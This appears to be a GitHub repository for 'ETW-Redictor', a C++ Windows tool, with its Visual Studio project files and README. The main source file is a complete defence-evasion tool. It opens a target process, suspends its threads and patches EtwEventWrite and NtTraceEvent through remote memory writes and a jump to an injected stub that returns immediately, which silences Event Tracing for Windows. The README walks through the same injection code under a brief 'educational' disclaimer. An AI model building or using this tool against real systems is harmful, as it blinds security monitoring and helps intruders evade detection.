├── ETW-Redictor.sln
├── ETW-Redictor
├── ETW-Redictor.vcxproj
├── ETW-Redictor.vcxproj.filters
├── ETW-Redictor.vcxproj.user
└── ETW-Redirect.cpp
└── README.md
/ETW-Redictor.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35931.197 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ETW-Redictor", "ETW-Redictor\ETW-Redictor.vcxproj", "{8403EE9E-8BC9-40CA-A24B-AEF016C2E842}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x64.ActiveCfg = Debug|x64
17 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x64.Build.0 = Debug|x64
18 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x86.ActiveCfg = Debug|Win32
19 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x86.Build.0 = Debug|Win32
20 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x64.ActiveCfg = Release|x64
21 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x64.Build.0 = Release|x64
22 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x86.ActiveCfg = Release|Win32
23 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {70D87A3E-627A-4F55-A42D-ADFCD73433C0}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ETW-Redictor/ETW-Redictor.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {8403ee9e-8bc9-40ca-a24b-aef016c2e842}
25 | ETWRedictor
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/ETW-Redictor/ETW-Redictor.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Zdrojové soubory
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ETW-Redictor/ETW-Redictor.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ETW-Redictor/ETW-Redirect.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #pragma comment(lib, "ntdll.lib")
13 |
14 | typedef struct _MY_CLIENT_ID {
15 | HANDLE UniqueProcess;
16 | HANDLE UniqueThread;
17 | } MY_CLIENT_ID, * PMY_CLIENT_ID;
18 |
19 | extern "C" NTSTATUS NTAPI NtAllocateVirtualMemory(
20 | _In_ HANDLE ProcessHandle,
21 | _Inout_ PVOID* BaseAddress,
22 | _In_ ULONG_PTR ZeroBits,
23 | _Inout_ PSIZE_T RegionSize,
24 | _In_ ULONG AllocationType,
25 | _In_ ULONG Protect
26 | );
27 |
28 | extern "C" NTSTATUS NTAPI NtProtectVirtualMemory(
29 | _In_ HANDLE ProcessHandle,
30 | _Inout_ PVOID* BaseAddress,
31 | _Inout_ PSIZE_T RegionSize,
32 | _In_ ULONG NewProtect,
33 | _Out_ PULONG OldProtect
34 | );
35 |
36 | extern "C" NTSTATUS NTAPI NtWriteVirtualMemory(
37 | _In_ HANDLE ProcessHandle,
38 | _In_opt_ PVOID BaseAddress,
39 | _In_ PVOID Buffer,
40 | _In_ SIZE_T NumberOfBytesToWrite,
41 | _Out_opt_ PSIZE_T NumberOfBytesWritten
42 | );
43 |
44 | extern "C" NTSTATUS NTAPI NtReadVirtualMemory(
45 | _In_ HANDLE ProcessHandle,
46 | _In_opt_ PVOID BaseAddress,
47 | _Out_ PVOID Buffer,
48 | _In_ SIZE_T BufferSize,
49 | _Out_opt_ PSIZE_T NumberOfBytesRead
50 | );
51 |
52 | extern "C" NTSTATUS NTAPI NtResumeThread(
53 | _In_ HANDLE ThreadHandle,
54 | _Out_opt_ PULONG PreviousSuspendCount
55 | );
56 |
57 | extern "C" NTSTATUS NTAPI NtSuspendThread(
58 | _In_ HANDLE ThreadHandle,
59 | _Out_opt_ PULONG PreviousSuspendCount
60 | );
61 |
62 | extern "C" NTSTATUS NTAPI NtOpenThread(
63 | _Out_ PHANDLE ThreadHandle,
64 | _In_ ACCESS_MASK DesiredAccess,
65 | _In_ POBJECT_ATTRIBUTES ObjectAttributes,
66 | _In_ PMY_CLIENT_ID ClientId
67 | );
68 |
69 | extern "C" NTSTATUS NTAPI NtTraceEvent(
70 | _In_ HANDLE TraceHandle,
71 | _In_ ULONG Flags,
72 | _In_ ULONG FieldSize,
73 | _In_ PVOID Fields
74 | );
75 |
76 | class Logger {
77 | private:
78 | bool m_debugEnabled;
79 |
80 | public:
81 | Logger(bool debugEnabled = false) : m_debugEnabled(debugEnabled) {}
82 |
83 | void setDebugEnabled(bool enabled) {
84 | m_debugEnabled = enabled;
85 | }
86 |
87 | void debug(const std::string& message) {
88 | if (m_debugEnabled) {
89 | std::cout << "[DEBUG] " << message << std::endl;
90 | }
91 | }
92 |
93 | void info(const std::string& message) {
94 | std::cout << "[+] " << message << std::endl;
95 | }
96 |
97 | void error(const std::string& message) {
98 | std::cerr << "[-] " << message << std::endl;
99 | }
100 |
101 | std::string formatHex(PVOID ptr) {
102 | std::stringstream ss;
103 | ss << "0x" << std::hex << std::setw(16) << std::setfill('0') << (ULONG_PTR)ptr;
104 | return ss.str();
105 | }
106 |
107 | std::string formatStatus(NTSTATUS status) {
108 | std::stringstream ss;
109 | ss << "0x" << std::hex << std::setw(8) << std::setfill('0') << status;
110 | return ss.str();
111 | }
112 | };
113 |
114 | class EtwBypass {
115 | private:
116 | struct EtwFunction {
117 | std::string name;
118 | PVOID address;
119 | PVOID hookAddress;
120 | std::vector originalBytes;
121 | };
122 |
123 | DWORD m_processId;
124 | HANDLE m_processHandle;
125 | std::vector m_threadHandles;
126 | Logger m_logger;
127 | bool m_verbose;
128 | bool m_pause;
129 | std::vector m_etwFunctions;
130 |
131 | BOOL GetProcessThreads(DWORD processId, std::vector& threadIds) {
132 | HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
133 | if (hThreadSnap == INVALID_HANDLE_VALUE) {
134 | m_logger.error("Failed to create thread snapshot. Error: " + std::to_string(GetLastError()));
135 | return FALSE;
136 | }
137 |
138 | THREADENTRY32 te32;
139 | te32.dwSize = sizeof(THREADENTRY32);
140 |
141 | if (!Thread32First(hThreadSnap, &te32)) {
142 | m_logger.error("Failed to get first thread. Error: " + std::to_string(GetLastError()));
143 | CloseHandle(hThreadSnap);
144 | return FALSE;
145 | }
146 |
147 | do {
148 | if (te32.th32OwnerProcessID == processId) {
149 | threadIds.push_back(te32.th32ThreadID);
150 | m_logger.debug("Found thread ID: " + std::to_string(te32.th32ThreadID));
151 | }
152 | } while (Thread32Next(hThreadSnap, &te32));
153 |
154 | CloseHandle(hThreadSnap);
155 | return TRUE;
156 | }
157 |
158 | BOOL SuspendAllThreads() {
159 | std::vector threadIds;
160 | if (!GetProcessThreads(m_processId, threadIds)) {
161 | m_logger.error("Failed to enumerate process threads");
162 | return FALSE;
163 | }
164 |
165 | for (DWORD threadId : threadIds) {
166 | if (threadId == GetCurrentThreadId()) continue;
167 |
168 | HANDLE hThread = NULL;
169 | OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
170 | MY_CLIENT_ID cid = { 0 };
171 | cid.UniqueProcess = (HANDLE)(ULONG_PTR)m_processId;
172 | cid.UniqueThread = (HANDLE)(ULONG_PTR)threadId;
173 |
174 | NTSTATUS status = NtOpenThread(
175 | &hThread,
176 | THREAD_SUSPEND_RESUME,
177 | &oa,
178 | &cid
179 | );
180 |
181 | if (NT_SUCCESS(status)) {
182 | ULONG previousCount = 0;
183 | status = NtSuspendThread(hThread, &previousCount);
184 | if (NT_SUCCESS(status)) {
185 | m_threadHandles.push_back(hThread);
186 | m_logger.debug("Suspended thread ID: " + std::to_string(threadId));
187 | }
188 | else {
189 | CloseHandle(hThread);
190 | }
191 | }
192 | }
193 |
194 | m_logger.info("Suspended " + std::to_string(m_threadHandles.size()) + " threads");
195 | return m_threadHandles.size() > 0;
196 | }
197 |
198 | BOOL ResumeAllThreads() {
199 | BOOL result = TRUE;
200 | for (HANDLE hThread : m_threadHandles) {
201 | ULONG previousCount = 0;
202 | NtResumeThread(hThread, &previousCount);
203 | CloseHandle(hThread);
204 | }
205 | m_threadHandles.clear();
206 | return result;
207 | }
208 |
209 | PVOID FindFunctionAddress(const char* functionName) {
210 | HMODULE hMods[1024];
211 | DWORD cbNeeded;
212 | if (!EnumProcessModules(m_processHandle, hMods, sizeof(hMods), &cbNeeded)) {
213 | return NULL;
214 | }
215 |
216 | HMODULE ntdllModule = NULL;
217 | for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
218 | CHAR szModName[MAX_PATH];
219 | if (GetModuleFileNameExA(m_processHandle, hMods[i], szModName, sizeof(szModName))) {
220 | if (strstr(szModName, "ntdll.dll") != NULL) {
221 | ntdllModule = hMods[i];
222 | break;
223 | }
224 | }
225 | }
226 |
227 | if (!ntdllModule) {
228 | return NULL;
229 | }
230 |
231 | MODULEINFO mi;
232 | if (!GetModuleInformation(m_processHandle, ntdllModule, &mi, sizeof(mi))) {
233 | return NULL;
234 | }
235 |
236 | HMODULE hNtdll = LoadLibraryA("ntdll.dll");
237 | if (!hNtdll) {
238 | return NULL;
239 | }
240 |
241 | PVOID localFunction = GetProcAddress(hNtdll, functionName);
242 | if (!localFunction) {
243 | FreeLibrary(hNtdll);
244 | return NULL;
245 | }
246 |
247 | PVOID localNtdllBase = (PVOID)hNtdll;
248 | SIZE_T offset = (SIZE_T)localFunction - (SIZE_T)localNtdllBase;
249 | PVOID remoteFunction = (PVOID)((SIZE_T)mi.lpBaseOfDll + offset);
250 |
251 | FreeLibrary(hNtdll);
252 | return remoteFunction;
253 | }
254 |
255 | BOOL InitializeEtwFunctions() {
256 | const char* functionNames[] = {
257 | "EtwEventWrite",
258 | "NtTraceEvent"
259 | };
260 |
261 | for (const char* functionName : functionNames) {
262 | PVOID functionAddr = FindFunctionAddress(functionName);
263 | if (functionAddr) {
264 | EtwFunction func = { functionName, functionAddr, NULL };
265 | m_etwFunctions.push_back(func);
266 | m_logger.info("Found " + std::string(functionName) + " at " + m_logger.formatHex(functionAddr));
267 | }
268 | }
269 |
270 | return !m_etwFunctions.empty();
271 | }
272 |
273 | void PrintMemoryBytes(PVOID address, SIZE_T size) {
274 | std::vector buffer(size);
275 | SIZE_T bytesRead = 0;
276 |
277 | NTSTATUS status = NtReadVirtualMemory(
278 | m_processHandle,
279 | address,
280 | buffer.data(),
281 | size,
282 | &bytesRead
283 | );
284 |
285 | if (NT_SUCCESS(status) && bytesRead == size) {
286 | std::stringstream ss;
287 | ss << "Memory at " << m_logger.formatHex(address) << ":" << std::endl;
288 |
289 | for (SIZE_T i = 0; i < size; i++) {
290 | ss << std::hex << std::setw(2) << std::setfill('0') << static_cast(buffer[i]) << " ";
291 | if ((i + 1) % 16 == 0) ss << std::endl;
292 | }
293 | m_logger.info(ss.str());
294 | }
295 | }
296 |
297 | BOOL HookFunction(EtwFunction& func) {
298 | if (m_verbose) {
299 | PrintMemoryBytes(func.address, 16);
300 | }
301 |
302 | unsigned char etwBypass[] = {
303 | 0x48, 0x33, 0xC0,// xor rax, rax
304 | 0x48, 0xFF, 0xC0,//inc rax
305 | 0xC3//ret
306 | };
307 |
308 | func.originalBytes.resize(sizeof(etwBypass));
309 | SIZE_T bytesRead = 0;
310 | NTSTATUS status = NtReadVirtualMemory(
311 | m_processHandle,
312 | func.address,
313 | func.originalBytes.data(),
314 | func.originalBytes.size(),
315 | &bytesRead
316 | );
317 |
318 | if (!NT_SUCCESS(status)) {
319 | return FALSE;
320 | }
321 |
322 | PVOID remoteMemory = NULL;
323 | SIZE_T regionSize = sizeof(etwBypass);
324 | status = NtAllocateVirtualMemory(
325 | m_processHandle,
326 | &remoteMemory,
327 | 0,
328 | ®ionSize,
329 | MEM_COMMIT | MEM_RESERVE,
330 | PAGE_READWRITE
331 | );
332 |
333 | if (!NT_SUCCESS(status)) {
334 | return FALSE;
335 | }
336 |
337 | SIZE_T bytesWritten = 0;
338 | status = NtWriteVirtualMemory(
339 | m_processHandle,
340 | remoteMemory,
341 | etwBypass,
342 | sizeof(etwBypass),
343 | &bytesWritten
344 | );
345 |
346 | if (!NT_SUCCESS(status) || bytesWritten != sizeof(etwBypass)) {
347 | return FALSE;
348 | }
349 |
350 | if (m_verbose) {
351 | PrintMemoryBytes(remoteMemory, sizeof(etwBypass));
352 | }
353 |
354 | ULONG oldProtect = 0;
355 | status = NtProtectVirtualMemory(
356 | m_processHandle,
357 | &remoteMemory,
358 | ®ionSize,
359 | PAGE_EXECUTE_READ,
360 | &oldProtect
361 | );
362 |
363 | if (!NT_SUCCESS(status)) {
364 | return FALSE;
365 | }
366 |
367 | unsigned char jumpBytes[14] = { 0 };
368 | jumpBytes[0] = 0x48; // mov rax,
369 | jumpBytes[1] = 0xB8;
370 | *(PVOID*)(&jumpBytes[2]) = remoteMemory;
371 | jumpBytes[10] = 0xFF; // jmp rax
372 | jumpBytes[11] = 0xE0;
373 | jumpBytes[12] = 0xCC; // int3 (padding)
374 | jumpBytes[13] = 0xCC; // int3 (padding)
375 |
376 | PVOID targetAddr = func.address;
377 | regionSize = sizeof(jumpBytes);
378 | status = NtProtectVirtualMemory(
379 | m_processHandle,
380 | &targetAddr,
381 | ®ionSize,
382 | PAGE_READWRITE,
383 | &oldProtect
384 | );
385 |
386 | if (!NT_SUCCESS(status)) {
387 | return FALSE;
388 | }
389 |
390 | status = NtWriteVirtualMemory(
391 | m_processHandle,
392 | func.address,
393 | jumpBytes,
394 | sizeof(jumpBytes),
395 | &bytesWritten
396 | );
397 |
398 | if (!NT_SUCCESS(status) || bytesWritten != sizeof(jumpBytes)) {
399 | return FALSE;
400 | }
401 |
402 | if (m_verbose) {
403 | PrintMemoryBytes(func.address, sizeof(jumpBytes));
404 | }
405 |
406 | status = NtProtectVirtualMemory(
407 | m_processHandle,
408 | &targetAddr,
409 | ®ionSize,
410 | oldProtect,
411 | &oldProtect
412 | );
413 |
414 | if (!NT_SUCCESS(status)) {
415 | return FALSE;
416 | }
417 |
418 | func.hookAddress = remoteMemory;
419 | return TRUE;
420 | }
421 |
422 | public:
423 | EtwBypass(DWORD processId, bool verbose = false, bool pause = false) :
424 | m_processId(processId),
425 | m_processHandle(NULL),
426 | m_verbose(verbose),
427 | m_pause(pause) {
428 | m_logger.setDebugEnabled(verbose);
429 | }
430 |
431 | ~EtwBypass() {
432 | if (m_processHandle) {
433 | CloseHandle(m_processHandle);
434 | }
435 | ResumeAllThreads();
436 | }
437 |
438 | BOOL Execute() {
439 | m_logger.info("Targeting process with PID: " + std::to_string(m_processId));
440 |
441 | m_processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_processId);
442 | if (!m_processHandle) {
443 | m_logger.error("Failed to open process");
444 | return FALSE;
445 | }
446 |
447 | if (!SuspendAllThreads()) {
448 | m_logger.error("Failed to suspend threads");
449 | CloseHandle(m_processHandle);
450 | return FALSE;
451 | }
452 |
453 | if (!InitializeEtwFunctions()) {
454 | m_logger.error("Failed to initialize ETW functions");
455 | ResumeAllThreads();
456 | CloseHandle(m_processHandle);
457 | return FALSE;
458 | }
459 |
460 | bool allSuccess = true;
461 | for (auto& func : m_etwFunctions) {
462 | if (!HookFunction(func)) {
463 | m_logger.error("Failed to hook " + func.name);
464 | allSuccess = false;
465 | }
466 | else {
467 | m_logger.info("Successfully hooked " + func.name);
468 | }
469 | }
470 |
471 | if (!ResumeAllThreads()) {
472 | m_logger.error("Failed to resume threads");
473 | CloseHandle(m_processHandle);
474 | return FALSE;
475 | }
476 |
477 | return allSuccess;
478 | }
479 | };
480 |
481 | void PrintBanner() {
482 | std::cout << "\n==================================================" << std::endl;
483 | std::cout << " ETW Redirection Tool " << std::endl;
484 | std::cout << "==================================================" << std::endl;
485 | }
486 |
487 | int main(int argc, char* argv[]) {
488 | PrintBanner();
489 |
490 | bool verbose = false;
491 | DWORD pid = 0;
492 |
493 | for (int i = 1; i < argc; i++) {
494 | if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) {
495 | verbose = true;
496 | }
497 | else if (isdigit(argv[i][0])) {
498 | pid = atoi(argv[i]);
499 | }
500 | else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
501 | std::cout << "\nUsage: " << argv[0] << " [-v|--verbose]" << std::endl;
502 | return 0;
503 | }
504 | }
505 |
506 | if (pid <= 0) {
507 | std::cerr << "[-] Invalid or missing PID" << std::endl;
508 | std::cout << "\nUsage: " << argv[0] << " [-v|--verbose]" << std::endl;
509 | return 1;
510 | }
511 |
512 | EtwBypass bypass(pid, verbose);
513 | if (bypass.Execute()) {
514 | std::cout << "[+] Successfully bypassed ETW in process " << pid << std::endl;
515 | return 0;
516 | }
517 | else {
518 | std::cerr << "[-] Failed to bypass ETW in process " << pid << std::endl;
519 | return 1;
520 | }
521 | }
522 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ETW-Redictor 🛡️
2 |
3 | A sophisticated Event Tracing for Windows (ETW) redirection tool that enables dynamic ETW bypass through runtime function hooking.
4 |
5 | [](https://opensource.org/licenses/MIT)
6 | [](https://www.microsoft.com/en-us/windows)
7 | [](https://isocpp.org/)
8 |
9 | ## 🚀 Features
10 |
11 | - Dynamic ETW function hooking at runtime
12 | - Process-specific ETW redirection
13 | - Support for multiple ETW-related functions
14 | - Thread-safe implementation
15 | - Verbose debugging mode
16 | - Clean and modern C++ implementation
17 |
18 | ## 📋 Prerequisites
19 |
20 | - Windows 10/11
21 | - Visual Studio 2019 or later
22 |
23 | ## 🔧 Installation
24 |
25 | 1. Open the solution in Visual Studio
26 | 2. Build the project in Release/Dbg mode
27 |
28 | ## 💻 Usage
29 |
30 | ```bash
31 | ETW-Redictor.exe [-v|--verbose]
32 | ```
33 |
34 | ### Parameters:
35 | - `PID`: Process ID to target for ETW redirection
36 | - `-v` or `--verbose`: Enable verbose debugging output
37 | - `-h` or `--help`: Display help information
38 |
39 | ## 🔍 Technical Analysis
40 |
41 | ### Architecture Overview
42 |
43 | ETW-Redictor employs a sophisticated approach to redirect Event Tracing for Windows through dynamic function hooking. Here's how it works:
44 |
45 | 1. **Process Targeting**
46 | - Opens target process with full access rights
47 | - Enumerates and manages process threads
48 |
49 | 2. **Thread Management**
50 | - Suspends all threads (except the current one) before modification
51 | - Safely resumes threads after hooks are in place
52 |
53 | 3. **Function Hooking**
54 | - Targets critical ETW functions:
55 | - `EtwEventWrite`
56 | - `NtTraceEvent`
57 | - Implements a trampoline-based hooking mechanism
58 |
59 | 4. **Memory Operations**
60 | - Uses Native API (`Nt*` functions) for memory operations
61 | - Implements proper memory protection handling
62 | - Ensures thread-safe memory modifications
63 |
64 | ### Hook Implementation
65 |
66 | The hook is implemented through the following steps:
67 |
68 | 1. **Memory Allocation**
69 | ```cpp
70 | // alloc mem for hook
71 | PVOID remoteMemory = NULL;
72 | SIZE_T regionSize = sizeof(etwBypass);
73 | NtAllocateVirtualMemory(
74 | m_processHandle,
75 | &remoteMemory,
76 | 0,
77 | ®ionSize,
78 | MEM_COMMIT | MEM_RESERVE,
79 | PAGE_READWRITE
80 | );
81 | ```
82 |
83 | 2. **Hook Code Injection**
84 | ```cpp
85 | // simple ret bypass
86 | unsigned char etwBypass[] = {
87 | 0x48, 0x33, 0xC0, // xor rax, rax
88 | 0x48, 0xFF, 0xC0, // inc rax
89 | 0xC3 // ret
90 | };
91 | ```
92 |
93 | 3. **Jump Implementation**
94 | ```cpp
95 | // 14 byte jmp to hook
96 | unsigned char jumpBytes[14] = {
97 | 0x48, 0xB8, // mov rax,
98 | [8 bytes for address], // hook address
99 | 0xFF, 0xE0, // jmp rax
100 | 0xCC, 0xCC // padding
101 | };
102 | ```
103 |
104 | ## ⚠️ Disclaimer
105 |
106 | This tool is for educational and research purposes only. Users are responsible for complying with applicable laws and regulations.
107 |
108 | ## 📄 License
109 |
110 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
111 |
--------------------------------------------------------------------------------